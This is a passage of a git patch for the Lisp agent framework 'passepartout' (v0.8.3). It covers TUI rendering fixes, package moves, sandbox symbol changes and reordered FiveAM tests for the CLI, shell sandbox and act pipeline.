From c227877302a85c9a1bd1c862e2eee1f8336aed01 Mon Sep 17 00:00:00 2001 From: Amr Gharbeia Date: Sun, 10 May 2026 12:52:08 -0400 Subject: [PATCH] =?UTF-8?q?v0.8.3:=20TUI=20stabilization=20=E2=80=94=20box?= =?UTF-8?q?=20calls,=20package=20fixes,=20sandbox,=20configure?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bug fixes: - Fix box() calls: set color-pair before box, pass ACS default chtype integers - Fix markdown functions: move to passepartout.channel-tui package where Croatoan is imported; use add-attributes/remove-attributes instead of :bold/:underline kwargs to add-string; call theme-color in gate-trace-lines to convert theme keys to Croatoan colors - Fix sandbox: remove dex:get/dex:post from restricted symbols (blocked neuro-provider from loading) - Export *log-lock* from passepartout (was unbound in jailed skill packages) - Fix configure: always deploy to XDG, skip cp when source==dest - Fix bash crash handler format string (~~ escaping) - Revert test reorder in 28 files (caused package leakage in skill loader) Design cleanup: - Extract tui-run-screen from tui-main for clean separation - Remove inject-stimulus alias - Merge *backend-registry* into *probabilistic-backends* - Fix read-framed-message whitespace DoS (4096-iteration max) - Add *read-eval* nil to dispatcher-approvals-process read-from-string --- lisp/channel-cli.lisp | 26 +- lisp/channel-shell.lisp | 64 +- lisp/channel-tui-main.lisp | 74 +-- lisp/channel-tui-view.lisp | 80 +-- lisp/core-act.lisp | 244 ++++---- lisp/core-memory.lisp | 264 ++++---- lisp/core-package.lisp | 2 + lisp/core-perceive.lisp | 88 +-- lisp/core-pipeline.lisp | 84 +-- lisp/core-reason.lisp | 364 +++++------ lisp/core-skills.lisp | 71 ++- lisp/core-transport.lisp | 86 +-- lisp/cost-tracker.lisp | 146 ++--- lisp/neuro-provider.lisp | 56 -- lisp/programming-lisp.lisp | 176 +++--- lisp/programming-literate.lisp | 74 +-- lisp/programming-org.lisp | 190 +++--- lisp/programming-tools.lisp | 550 +++++++++++----- lisp/security-dispatcher.lisp | 588 ++++++++++++------ lisp/security-permissions.lisp | 32 +- lisp/security-policy.lisp | 40 +- lisp/security-validator.lisp | 32 +- lisp/security-vault.lisp | 72 +-- lisp/sensor-time.lisp | 136 ++-- lisp/symbolic-archivist.lisp | 76 +-- lisp/symbolic-awareness.lisp | 134 ++-- lisp/symbolic-scope.lisp | 42 -- lisp/symbolic-time-memory.lisp | 100 +-- lisp/token-economics.lisp | 331 +++++++--- lisp/tokenizer.lisp | 144 ++--- org/channel-cli.org | 53 +- org/channel-shell.org | 69 +- org/channel-tui-main.org | 74 +-- org/channel-tui-view.org | 80 +-- org/core-act.org | 251 ++++---- org/core-memory.org | 271 ++++---- org/core-package.org | 2 + org/core-perceive.org | 95 ++- org/core-pipeline.org | 91 ++- org/core-reason.org | 371 ++++++----- org/core-skills.org | 82 ++- org/core-transport.org | 93 ++- org/cost-tracker.org | 151 +++-- org/neuro-provider.org | 121 ++-- org/programming-lisp.org | 183 +++--- org/programming-literate.org | 81 ++- org/programming-org.org | 197 +++--- org/programming-tools.org | 355 ++++++----- org/security-dispatcher.org | 380 ++++++----- org/security-permissions.org | 65 +- org/security-policy.org | 67 +- org/security-validator.org | 59 +- org/security-vault.org | 109 ++-- org/sensor-time.org | 141 +++-- org/symbolic-archivist.org | 83 ++- org/symbolic-awareness.org | 141 +++-- org/symbolic-scope.org | 93 ++- org/symbolic-time-memory.org | 105 ++-- org/token-economics.org | 206 +++--- org/tokenizer.org | 149 +++-- passepartout | 11 +- {lisp => tests}/system-integration-tests.lisp | 0 62 files changed, 4524 insertions(+), 4071 deletions(-) rename {lisp => tests}/system-integration-tests.lisp (100%) diff --git a/lisp/channel-cli.lisp b/lisp/channel-cli.lisp index 85f7a21..1346b27 100644 --- a/lisp/channel-cli.lisp +++ b/lisp/channel-cli.lisp @@ -1,3 +1,16 @@ +(in-package :passepartout) + +(defun channel-cli-input (text) + "Processes raw text from the command line." + (stimulus-inject (list :type :EVENT + :payload (list :sensor :user-input :text text) + :meta (list :source :CLI)))) + +(defskill :passepartout-channel-cli + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) + :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) + (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -20,16 +33,3 @@ (handler-case (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK")) (error (c) (log-message "CLI: Load-time test FAILED: ~a" c))) - -(in-package :passepartout) - -(defun channel-cli-input (text) - "Processes raw text from the command line." - (stimulus-inject (list :type :EVENT - :payload (list :sensor :user-input :text text) - :meta (list :source :CLI)))) - -(defskill :passepartout-channel-cli - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) - :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) diff --git a/lisp/channel-shell.lisp b/lisp/channel-shell.lisp index ac08d08..d0cfd86 100644 --- a/lisp/channel-shell.lisp +++ b/lisp/channel-shell.lisp @@ -1,35 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-shell-actuator-tests - (:use :cl :fiveam :passepartout) - (:export #:shell-actuator-suite)) - -(in-package :passepartout-shell-actuator-tests) - -(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") -(in-suite shell-actuator-suite) - -(test test-bwrap-wrap-command - "Contract 2: bwrap-wrap-command returns properly formatted command list." - (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) - (is (member "bwrap" cmdline :test #'string=)) - (is (member "--unshare-net" cmdline :test #'string=)) - (is (member "--unshare-ipc" cmdline :test #'string=)) - (is (member "echo hello" cmdline :test #'string=)))) - -(test test-bwrap-available-p-returns-boolean - "Contract 1: bwrap-available-p returns T or NIL." - (let ((avail (passepartout::bwrap-available-p))) - (is (typep avail 'boolean)))) - -(test test-actuator-shell-execute-echo - "Contract 3: actuator-shell-execute runs echo and returns output." - (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) - (result (passepartout::actuator-shell-execute action nil))) - (is (stringp result)) - (is (search "hello" result :test #'char-equal)))) - (in-package :passepartout) (defvar *bwrap-available* nil @@ -93,3 +61,35 @@ When bwrap is available, wraps the command in a Linux namespace sandbox." (defskill :passepartout-channel-shell :priority 50 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-shell-actuator-tests + (:use :cl :fiveam :passepartout) + (:export #:shell-actuator-suite)) + +(in-package :passepartout-shell-actuator-tests) + +(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") +(in-suite shell-actuator-suite) + +(test test-bwrap-wrap-command + "Contract 2: bwrap-wrap-command returns properly formatted command list." + (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) + (is (member "bwrap" cmdline :test #'string=)) + (is (member "--unshare-net" cmdline :test #'string=)) + (is (member "--unshare-ipc" cmdline :test #'string=)) + (is (member "echo hello" cmdline :test #'string=)))) + +(test test-bwrap-available-p-returns-boolean + "Contract 1: bwrap-available-p returns T or NIL." + (let ((avail (passepartout::bwrap-available-p))) + (is (typep avail 'boolean)))) + +(test test-actuator-shell-execute-echo + "Contract 3: actuator-shell-execute runs echo and returns output." + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) + (result (passepartout::actuator-shell-execute action nil))) + (is (stringp result)) + (is (search "hello" result :test #'char-equal)))) diff --git a/lisp/channel-tui-main.lisp b/lisp/channel-tui-main.lisp index a211e3f..fda24f2 100644 --- a/lisp/channel-tui-main.lisp +++ b/lisp/channel-tui-main.lisp @@ -325,7 +325,7 @@ ;; /tags command — tag stack ;; /tags command — tag stack ((string-equal text "/tags") - (let ((cats passepartout::*tag-categories*)) + (let ((cats *tag-categories*)) (if cats (dolist (entry cats) (add-msg :system (format nil "~a: ~a" (car entry) (cdr entry)))) @@ -335,8 +335,8 @@ (let* ((msg-count (length (st :messages))) (focus (or (st :foveal-id) "none")) (id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4))) - (tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*) - (floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4) + (tool-tokens (if (boundp '*cognitive-tool-registry*) + (floor (* (hash-table-count *cognitive-tool-registry*) 40) 4) 50)) (log-tokens (min 4000 (floor (* msg-count 60) 4))) (overhead-tokens 200) @@ -352,14 +352,14 @@ ;; /context why — debug node ((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why ")) (let ((node-id (string-trim '(#\Space) (subseq text 13)))) - (if (fboundp 'passepartout::memory-object-get) - (let ((obj (funcall 'passepartout::memory-object-get node-id))) + (if (fboundp 'memory-object-get) + (let ((obj (funcall 'memory-object-get node-id))) (if obj (add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a" node-id - (passepartout::memory-object-type obj) - (passepartout::memory-object-scope obj) - (passepartout::memory-object-version obj))) + (memory-object-type obj) + (memory-object-scope obj) + (memory-object-version obj))) (add-msg :system (format nil "Node ~a not found" node-id)))) (add-msg :system "Memory not available")))) ;; /context dropped — pruned nodes @@ -391,18 +391,18 @@ (let* ((n-str (string-trim '(#\Space) (subseq text 8))) (n (handler-case (parse-integer n-str) (error () nil)))) (if n - (if (fboundp 'passepartout::rollback-memory) + (if (fboundp 'rollback-memory) (let* ((idx (1- n)) - (snaps passepartout::*memory-snapshots*) + (snaps *memory-snapshots*) (ts (when (< idx (length snaps)) (getf (nth idx snaps) :timestamp)))) - (funcall 'passepartout::rollback-memory idx) + (funcall 'rollback-memory idx) (add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts))) (add-msg :system "Memory rollback not available")) (add-msg :system "Usage: /rewind ")))) ;; /sessions command — list snapshots ((string-equal text "/sessions") - (let ((snaps passepartout::*memory-snapshots*)) + (let ((snaps *memory-snapshots*)) (if snaps (let ((shown (subseq snaps 0 (min 10 (length snaps))))) (add-msg :system (format nil "~d snapshots (showing ~d):" @@ -421,19 +421,19 @@ (maphash (lambda (k v) (declare (ignore k)) (when v (incf count) - (when (passepartout::memory-object-hash v) + (when (memory-object-hash v) (incf hashed)))) - passepartout::*memory-store*) + *memory-store*) (add-msg :system (format nil "Audit: ~d objects, ~d hashed, ~d snapshots" count hashed - (length passepartout::*memory-snapshots*))))) + (length *memory-snapshots*))))) ;; /resume — resume from snapshot ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume ")) (let* ((n-str (string-trim '(#\Space) (subseq text 8))) (n (handler-case (parse-integer n-str) (error () nil)))) (if n - (if (fboundp 'passepartout::rollback-memory) - (progn (funcall 'passepartout::rollback-memory (1- n)) + (if (fboundp 'rollback-memory) + (progn (funcall 'rollback-memory (1- n)) (add-msg :system (format nil "Resumed from snapshot ~d" n))) (add-msg :system "Memory rollback not available")) (add-msg :system "Usage: /resume ")))) @@ -1083,23 +1083,20 @@ (setf (st :stream) nil (st :connected) nil) (add-msg :system "* Disconnected *"))) -(defun tui-main () - (init-state) - (load-history) - (theme-load) - (with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil) - (let* ((h (or (height scr) 24)) - (w (or (width scr) 80)) - (sidebar-w (when (>= w 120) - (make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44)))) - (content-w (if sidebar-w (- w 44) (- w 2))) - (ch (- h 5)) - (sw (make-instance 'window :height 3 :width content-w :y 0 :x 1)) - (cw (make-instance 'window :height ch :width content-w :y 3 :x 1)) - (iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1)) - (swank-port (or (ignore-errors - (parse-integer (uiop:getenv "TUI_SWANK_PORT"))) - 4006))) +(defun tui-run-screen (scr) + "The full TUI event loop. Called from tui-main inside with-screen." + (let* ((h (or (height scr) 24)) + (w (or (width scr) 80)) + (sidebar-w (when (>= w 120) + (make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44)))) + (content-w (if sidebar-w (- w 44) (- w 2))) + (ch (- h 5)) + (sw (make-instance 'window :height 3 :width content-w :y 0 :x 1)) + (cw (make-instance 'window :height ch :width content-w :y 3 :x 1)) + (iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1)) + (swank-port (or (ignore-errors + (parse-integer (uiop:getenv "TUI_SWANK_PORT"))) + 4006))) (setf (function-keys-enabled-p iw) t (input-blocking iw) nil (st :dirty) (list t t t) @@ -1211,7 +1208,14 @@ (close wizard-win))) (refresh scr) (sleep 0.03)) - (disconnect-daemon))))) + (disconnect-daemon)))) + +(defun tui-main () + (init-state) + (load-history) + (theme-load) + (with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil) + (tui-run-screen scr))) (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) diff --git a/lisp/channel-tui-view.lisp b/lisp/channel-tui-view.lisp index cdb51d7..a0f0ddd 100644 --- a/lisp/channel-tui-view.lisp +++ b/lisp/channel-tui-view.lisp @@ -73,7 +73,7 @@ (search-highlight content (st :search-query)) content)) (line-text (format nil "~a [~a] ~a" prefix time content-show)) - (wrapped (passepartout::word-wrap line-text (- w 2))) + (wrapped (word-wrap line-text (- w 2))) (nlines (length wrapped))) (if (<= nlines lines-remaining) (progn (decf lines-remaining nlines) (incf msg-count)) @@ -95,7 +95,7 @@ (search-highlight content (st :search-query)) content)) (line-text (format nil "~a [~a] ~a" prefix time content-show)) - (wrapped (passepartout::word-wrap line-text (- w 2)))) + (wrapped (word-wrap line-text (- w 2)))) ;; HITL panel: render with colored border (when is-panel (setf color (if is-resolved @@ -112,7 +112,7 @@ ;; v0.7.2: gate trace below agent messages (let ((gate-trace (getf msg :gate-trace))) (when (and gate-trace (not (member i (st :collapsed-gates)))) - (dolist (entry (passepartout::gate-trace-lines gate-trace)) + (dolist (entry (gate-trace-lines gate-trace)) (when (< y (1- h)) (add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim)) (incf y)))))))))) @@ -150,43 +150,43 @@ (test test-char-width-ascii "Contract 5: ASCII characters (< 128) have width 1." - (is (= 1 (passepartout::char-width #\a))) - (is (= 1 (passepartout::char-width #\Space))) - (is (= 1 (passepartout::char-width #\@)))) + (is (= 1 (char-width #\a))) + (is (= 1 (char-width #\Space))) + (is (= 1 (char-width #\@)))) (test test-char-width-tab "Contract 5: tab character has width 8." - (is (= 8 (passepartout::char-width #\Tab)))) + (is (= 8 (char-width #\Tab)))) (test test-char-width-cjk "Contract 5: CJK characters have width 2." - (is (= 2 (passepartout::char-width #\日)))) + (is (= 2 (char-width #\日)))) (test test-char-width-null "Contract 5: null has width 0." - (is (= 0 (passepartout::char-width #\Nul)))) + (is (= 0 (char-width #\Nul)))) (test test-markdown-bold "Contract 7: parse-markdown-spans detects **bold**." - (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) + (let ((segments (parse-markdown-spans "hello **world**!"))) (is (= 3 (length segments))))) (test test-markdown-plain "Contract 7: plain text returns single segment." - (let ((segments (passepartout::parse-markdown-spans "plain"))) + (let ((segments (parse-markdown-spans "plain"))) (is (= 1 (length segments))) (is (string= "plain" (caar segments))))) (test test-markdown-url "Contract 7: parse-markdown-spans detects URLs." - (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) + (let ((segments (parse-markdown-spans "see https://example.com for more"))) (is (>= (length segments) 2)) (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) (test test-markdown-blocks "Contract 8: parse-markdown-blocks detects code blocks." (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) - (segs (passepartout::parse-markdown-blocks text))) + (segs (parse-markdown-blocks text))) (is (= 3 (length segs))) (let ((code (second segs))) (is (eq t (getf code :code-block))) @@ -196,44 +196,44 @@ (test test-markdown-blocks-no-close "Contract 8: unclosed code block returns content." (let* ((text (format nil "```~%unclosed code")) - (segs (passepartout::parse-markdown-blocks text))) + (segs (parse-markdown-blocks text))) (is (= 1 (length segs))) (is (eq t (getf (first segs) :code-block))))) (test test-syntax-highlight "Contract 9: syntax-highlight colors Lisp code." - (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) + (let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) (is (>= (length segs) 3)))) (test test-syntax-highlight-keyword "Contract 9: syntax-highlight colors keywords." - (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) + (let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) (is (>= (length segs) 2)) (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) (test test-syntax-highlight-function "Contract 9: syntax-highlight colors function calls." - (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) + (let ((segs (syntax-highlight "(+ 1 2)" "lisp"))) (is (>= (length segs) 2)) (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) (test test-gate-trace-lines-passed "Contract 9: gate-trace-lines for passed gate." - (let ((lines (passepartout::gate-trace-lines + (let ((lines (gate-trace-lines '((:gate "path" :result :passed))))) (is (= 1 (length lines))) (is (eq :gate-passed (getf (cdar lines) :fgcolor))))) (test test-gate-trace-lines-blocked "Contract 9: gate-trace-lines for blocked gate." - (let ((lines (passepartout::gate-trace-lines + (let ((lines (gate-trace-lines '((:gate "shell" :result :blocked :reason "rm"))))) (is (= 1 (length lines))) (is (search "rm" (caar lines))))) (test test-gate-trace-lines-approval "Contract 9: gate-trace-lines for approval gate." - (let ((lines (passepartout::gate-trace-lines + (let ((lines (gate-trace-lines '((:gate "network" :result :approval))))) (is (= 1 (length lines))) (is (search "HITL" (caar lines))))) @@ -244,7 +244,7 @@ (let ((cg (passepartout.channel-tui::st :collapsed-gates))) (is (null cg)))) -(in-package :passepartout) +(in-package :passepartout.channel-tui) (defun char-width (ch) "Returns the terminal column width of character CH. @@ -296,7 +296,7 @@ Respects CJK/emoji char widths via char-width." line-end))))) (nreverse lines))) -(in-package :passepartout) +(in-package :passepartout.channel-tui) (defun parse-markdown-spans (text) "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))." @@ -345,12 +345,17 @@ Respects CJK/emoji char widths via char-width." (bold (getf attrs :bold)) (code (getf attrs :code)) (underline (getf attrs :underline)) - (url (getf attrs :url))) + (url (getf attrs :url)) + (style-bits (append (when bold '(:bold)) + (when underline '(:underline))))) + (when style-bits + (add-attributes win (get-bitmask style-bits))) (add-string win text :y y :x x :n (max 1 (- w x)) - :bold bold :underline underline - :bgcolor (when code (theme-color :dim)) - :fgcolor (cond (url (theme-color :highlight)) - (t (theme-color (or (getf attrs :role) :agent))))) + :bgcolor (when code (theme-color :dim)) + :fgcolor (cond (url (theme-color :highlight)) + (t (theme-color (or (getf attrs :role) :agent))))) + (when style-bits + (remove-attributes win (get-bitmask style-bits))) (incf x (length text)))) y) @@ -416,7 +421,7 @@ Respects CJK/emoji char widths via char-width." (setf p fe))))))))) (nreverse r))) -(in-package :passepartout) +(in-package :passepartout.channel-tui) (defun gate-trace-lines (trace) "Convert gate-trace plist to display lines." @@ -427,10 +432,10 @@ Respects CJK/emoji char widths via char-width." (reason (getf entry :reason)) (name (or gate "unknown")) (color (case result - (:passed :gate-passed) - (:blocked :gate-blocked) - (:approval :gate-approval) - (t :dim))) + (:passed (theme-color :gate-passed)) + (:blocked (theme-color :gate-blocked)) + (:approval (theme-color :gate-approval)) + (t (theme-color :dim)))) (prefix (case result (:passed " ✓ ") (:blocked " ✗ ") @@ -448,7 +453,8 @@ Respects CJK/emoji char widths via char-width." (defun view-sidebar (win) "Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection." (clear win) - (box win (theme-color :border) (theme-color :background)) + (setf (color-pair win) (list (theme-color :border) (theme-color :background))) + (box win 0 0) (let* ((w (or (width win) 42)) (h (or (height win) 24)) (y 1) @@ -463,7 +469,7 @@ Respects CJK/emoji char widths via char-width." (add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent)) (incf y) (if gate-trace - (dolist (entry (passepartout::gate-trace-lines gate-trace)) + (dolist (entry (gate-trace-lines gate-trace)) (when (< y (1- h)) (add-string win (car entry) :y y :x 2 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim))) @@ -557,7 +563,8 @@ Respects CJK/emoji char widths via char-width." (defun view-palette (win) "Render centered command palette overlay with filtered items, selection highlight." (clear win) - (box win (theme-color :border) (theme-color :background)) + (setf (color-pair win) (list (theme-color :border) (theme-color :background))) + (box win 0 0) (let* ((w (or (width win) 50)) (h (or (height win) 20)) (y 1) @@ -600,7 +607,8 @@ Respects CJK/emoji char widths via char-width." (defun view-wizard (win) "Render setup wizard overlay: step title, prompt, input, error, progress." (clear win) - (box win (theme-color :border) (theme-color :background)) + (setf (color-pair win) (list (theme-color :border) (theme-color :background))) + (box win 0 0) (let* ((w (or (width win) 60)) (h (or (height win) 15)) (y 1) diff --git a/lisp/core-act.lisp b/lisp/core-act.lisp index 59ae359..6aa2eb4 100644 --- a/lisp/core-act.lisp +++ b/lisp/core-act.lisp @@ -1,125 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-act-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-act-suite)) - -(in-package :passepartout-pipeline-act-tests) - -(def-suite pipeline-act-suite :description "Test suite for Act pipeline") -(in-suite pipeline-act-suite) - -(test test-loop-gate-act-basic - "Contract 1: approved action reaches :acted status via loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) - (result (loop-gate-act signal))) - (is (eq :acted (getf signal :status))) - (is (null result)))) - -(test test-loop-gate-act-no-approved-action - "Contract 1: signal with no approved-action still reaches :acted status." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))))) - -(test test-loop-gate-act-last-mile-reject - "Contract 1: last-mile cognitive-verify rejection blocks approved-action." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-blocker - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx action)) - (list :type :LOG :payload (list :text "Last-mile block")))) - (let* ((signal (list :type :EVENT :status nil :depth 0 - :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))) - (is (null (getf signal :approved-action))))) - -(test test-loop-gate-act-preserves-meta - "Contract 1: signal metadata is not mutated by loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((meta '(:source :tui :session "s1")) - (signal (list :type :EVENT :status nil :depth 0 :meta meta - :approved-action '(:target :cli :payload (:text "test"))))) - (loop-gate-act signal) - (is (equal meta (getf signal :meta))))) - -(test test-action-dispatch-routes - "Contract 3: action-dispatch routes to registered actuators without crashing." - (actuator-initialize) - (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) - '(:type :EVENT :depth 0)))) - (is (numberp result) "eval should return a number"))) - -(test test-tool-timeout-shell - "Contract v0.7.2: shell timeout is 300 seconds." - (is (= 300 (passepartout::tool-timeout "shell")))) - -(test test-tool-timeout-unknown - "Contract v0.7.2: unknown tool gets default 120s." - (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) - -(test test-verify-write-match - "Contract v0.7.2: verify-write returns T on match." - (let ((path "/tmp/passepartout-verify-test.org") - (content "test content")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (is (passepartout::verify-write path content)) - (ignore-errors (delete-file path))))) - -(test test-tool-timeout-enforcement - "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." - (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) - (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "sleep-forever" - :read-only-p nil - :body (lambda (args) - (declare (ignore args)) - (sleep 10) - "done"))) - (unwind-protect - (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) - (ctx '(:depth 0)) - (result (passepartout::action-tool-execute action ctx))) - (is (eq :EVENT (getf result :TYPE))) - (let ((payload (getf result :PAYLOAD))) - (is (eq :tool-error (getf payload :SENSOR))) - (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) - (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) - (remhash "sleep-forever" passepartout::*tool-timeouts*))) - -(test test-tool-cache-read-only - "Contract v0.7.2: read-only tool results are cached and reused." - (let ((call-count 0)) - (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "cache-test" - :read-only-p t - :body (lambda (args) - (declare (ignore args)) - (incf call-count) - (list :status :success :content (format nil "call ~d" call-count))))) - (unwind-protect - (progn - (clrhash passepartout::*tool-cache*) - (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) - (ctx '(:depth 0)) - (r1 (passepartout::action-tool-execute action ctx)) - (r2 (passepartout::action-tool-execute action ctx))) - (is (= 1 call-count) "Second call should hit cache, not re-execute") - (let ((p1 (getf r1 :PAYLOAD)) - (p2 (getf r2 :PAYLOAD))) - (is (string= (getf (getf p1 :RESULT) :CONTENT) - (getf (getf p2 :RESULT) :CONTENT)))))) - (remhash "cache-test" passepartout::*cognitive-tool-registry*) - (clrhash passepartout::*tool-cache*)))) - (in-package :passepartout) (defvar *actuator-default* :cli @@ -369,3 +247,125 @@ For approval-required actions, creates a Flight Plan instead of executing." (defun act-gate (signal) (loop-gate-act signal)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-act-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-act-suite)) + +(in-package :passepartout-pipeline-act-tests) + +(def-suite pipeline-act-suite :description "Test suite for Act pipeline") +(in-suite pipeline-act-suite) + +(test test-loop-gate-act-basic + "Contract 1: approved action reaches :acted status via loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) + (result (loop-gate-act signal))) + (is (eq :acted (getf signal :status))) + (is (null result)))) + +(test test-loop-gate-act-no-approved-action + "Contract 1: signal with no approved-action still reaches :acted status." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))))) + +(test test-loop-gate-act-last-mile-reject + "Contract 1: last-mile cognitive-verify rejection blocks approved-action." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-blocker + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx action)) + (list :type :LOG :payload (list :text "Last-mile block")))) + (let* ((signal (list :type :EVENT :status nil :depth 0 + :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))) + (is (null (getf signal :approved-action))))) + +(test test-loop-gate-act-preserves-meta + "Contract 1: signal metadata is not mutated by loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((meta '(:source :tui :session "s1")) + (signal (list :type :EVENT :status nil :depth 0 :meta meta + :approved-action '(:target :cli :payload (:text "test"))))) + (loop-gate-act signal) + (is (equal meta (getf signal :meta))))) + +(test test-action-dispatch-routes + "Contract 3: action-dispatch routes to registered actuators without crashing." + (actuator-initialize) + (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) + '(:type :EVENT :depth 0)))) + (is (numberp result) "eval should return a number"))) + +(test test-tool-timeout-shell + "Contract v0.7.2: shell timeout is 300 seconds." + (is (= 300 (passepartout::tool-timeout "shell")))) + +(test test-tool-timeout-unknown + "Contract v0.7.2: unknown tool gets default 120s." + (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) + +(test test-verify-write-match + "Contract v0.7.2: verify-write returns T on match." + (let ((path "/tmp/passepartout-verify-test.org") + (content "test content")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (is (passepartout::verify-write path content)) + (ignore-errors (delete-file path))))) + +(test test-tool-timeout-enforcement + "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." + (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) + (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "sleep-forever" + :read-only-p nil + :body (lambda (args) + (declare (ignore args)) + (sleep 10) + "done"))) + (unwind-protect + (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) + (ctx '(:depth 0)) + (result (passepartout::action-tool-execute action ctx))) + (is (eq :EVENT (getf result :TYPE))) + (let ((payload (getf result :PAYLOAD))) + (is (eq :tool-error (getf payload :SENSOR))) + (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) + (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) + (remhash "sleep-forever" passepartout::*tool-timeouts*))) + +(test test-tool-cache-read-only + "Contract v0.7.2: read-only tool results are cached and reused." + (let ((call-count 0)) + (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "cache-test" + :read-only-p t + :body (lambda (args) + (declare (ignore args)) + (incf call-count) + (list :status :success :content (format nil "call ~d" call-count))))) + (unwind-protect + (progn + (clrhash 